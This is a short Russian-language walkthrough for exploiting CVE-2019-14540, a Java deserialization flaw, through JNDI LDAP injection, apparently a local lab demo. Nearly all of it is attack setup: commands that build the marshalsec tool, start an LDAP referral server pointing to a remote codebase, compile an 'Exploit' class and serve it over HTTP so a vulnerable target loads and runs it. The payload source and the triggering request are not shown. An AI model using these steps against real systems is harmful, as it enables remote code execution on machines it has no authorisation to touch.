Эксплуатация CVE-2019-14540

http://www.leadroyal.cn/?p=939

Ограничения среды: поскольку в этом демо используется JNDI LDAP эксплуатация, необходимо использовать низкую версию JDK (меньше 8u191).

1. Использование marshalsec для создания LDAP-сервиса на локальном порту 1389, указывающего на HTTP-сервис на порту 8000

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. Компиляция кода для удаленной загрузки в remote_codebase

cd remote_codebase
javac Exploit.java

3. Запуск HTTP-сервиса на локальном порту 8000 в remote_codebase

cd remote_codebase
python -m SimpleHTTPServer